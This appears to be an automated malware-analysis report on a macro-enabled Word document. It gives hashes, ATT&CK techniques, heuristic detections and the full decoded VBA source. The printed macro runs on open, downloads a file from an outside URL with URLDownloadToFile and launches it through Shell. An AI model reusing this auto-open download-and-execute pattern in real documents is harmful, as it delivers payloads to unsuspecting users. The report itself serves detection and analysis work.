Office (OOXML) malware analysis — malicious · 3f3aab7f7a1a9df6

MALICIOUS

Office (OOXML)

16.3 KB Created: 2021-05-19 14:04:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2021-05-29

MD5: 7d7a1ab0b59b3867632d1c20a4368af7 SHA-1: 32fe5d55bf13fa8c28128a7302c9420979e72c09 SHA-256: 3f3aab7f7a1a9df6e2e79c79049619ccc95ac396d7eb0c0b9146b5e19e4deff8

158 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an OOXML document containing VBA macros. The AutoOpen macro utilizes URLDownloadToFile to download a file from 'https://prog.hu/site/images/proghu-icon.png' to 'aaa.png' and then attempts to execute it using 'mspaint aaa.png'. This indicates a malicious intent to download and execute a secondary payload.

Heuristics 6

VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    Shell "mspaint " & ActiveDocument.Path & Application.PathSeparator & "aaa.png"
```

URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD

URLDownloadToFile in VBA

Matched line in script

#If Vba7 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _

AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub aUToOPen()
```
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Matched line in script
```
    MsgBox Environ("Temp")
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL https://prog.hu/site/images/proghu-icon.png Referenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1105 bytes
SHA-256: `98f4d44c6fd8f024045b081a7114e17af438dda2a9d280cd201bb131a82a3515`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "NewMacros" #If Vba7 Then Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _ Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _ ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long #Else Private Declare Function URLDownloadToFile Lib "urlmon" _ Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _ ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long #End If Sub aUToOPen() URLDownloadToFile 0, "https://prog.hu/site/images/proghu-icon.png", "aaa.png", 0, 0 Shell "mspaint " & ActiveDocument.Path & Application.PathSeparator & "aaa.png" MsgBox Environ("Temp") End Sub
`vbaProject_00.bin`	vba-project	OOXML VBA project: word/vbaProject.bin	14848 bytes
SHA-256: `4503fd2f906eeae068567d56f06cfe38a0ddcee85247ce52669d61af07a24752`

Open this report in the interactive analyzer, or submit your own file for analysis.